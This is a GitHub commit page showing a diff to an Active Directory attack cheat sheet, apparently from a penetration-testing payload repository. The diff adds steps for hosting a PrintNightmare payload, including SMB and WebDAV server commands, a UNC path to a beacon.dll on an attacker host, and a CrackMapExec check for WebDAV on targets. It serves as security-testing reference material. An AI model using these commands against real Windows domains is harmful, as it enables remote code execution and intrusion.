Skip to content

Commit

Permalink
Merge pull request swisskyrepo#619 from CravateRouge/patch-2
Browse files Browse the repository at this point in the history
Add PrintNightmare exploit using WebDAV
  • Loading branch information
swisskyrepo authored Jan 24, 2023
2 parents b75913c + a8bef18 commit d0067e1
Showing 1 changed file with 19 additions and 2 deletions.
21 changes: 19 additions & 2 deletions Methodology and Resources/Active Directory Attack.md
Original file line number Diff line number Diff line change
Expand Up @@ -711,9 +711,26 @@ Requirements:
docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10
```

**Trigger the exploit**:
**Payload Hosting**:
* The payload can be hosted on Impacket SMB server since [PR #1109](https://github.com/SecureAuthCorp/impacket/pull/1109):
```ps1
python3 ./smbserver.py share /tmp/smb/
```
* Using [Invoke-BuildAnonymousSMBServer](https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer/blob/main/Invoke-BuildAnonymousSMBServer.ps1) (Admin rights required on host):
```ps1
Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable
```
* Using WebDav with [SharpWebServer](https://github.com/mgeeky/SharpWebServer) (Doesn't require admin rights):
```ps1
SharpWebServer.exe port=8888 dir=c:\users\public verbose=true
```
When using WebDav instead of SMB, you must add `@[PORT]` to the hostname in the URI, e.g.: `\\172.16.1.5@8888\Downloads\beacon.dll`
WebDav client **must** be activated on exploited target. By default it is not activated on Windows workstations (you have to `net start webclient`) and it's not installed on servers. Here is how to detect activated webdav:
```ps1
cme smb -u user -p password -d domain.local -M webdav [TARGET]
```

**NOTE**: The payload can be hosted on Impacket SMB server since [PR #1109](https://github.com/SecureAuthCorp/impacket/pull/1109): `python3 ./smbserver.py share /tmp/smb/` or using [Invoke-BuildAnonymousSMBServer](https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer/blob/main/Invoke-BuildAnonymousSMBServer.ps1) : `Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable`
**Trigger the exploit**:

* [SharpNightmare](https://github.com/cube0x0/CVE-2021-1675)
```powershell
Expand Down

0 comments on commit d0067e1

Please sign in to comment.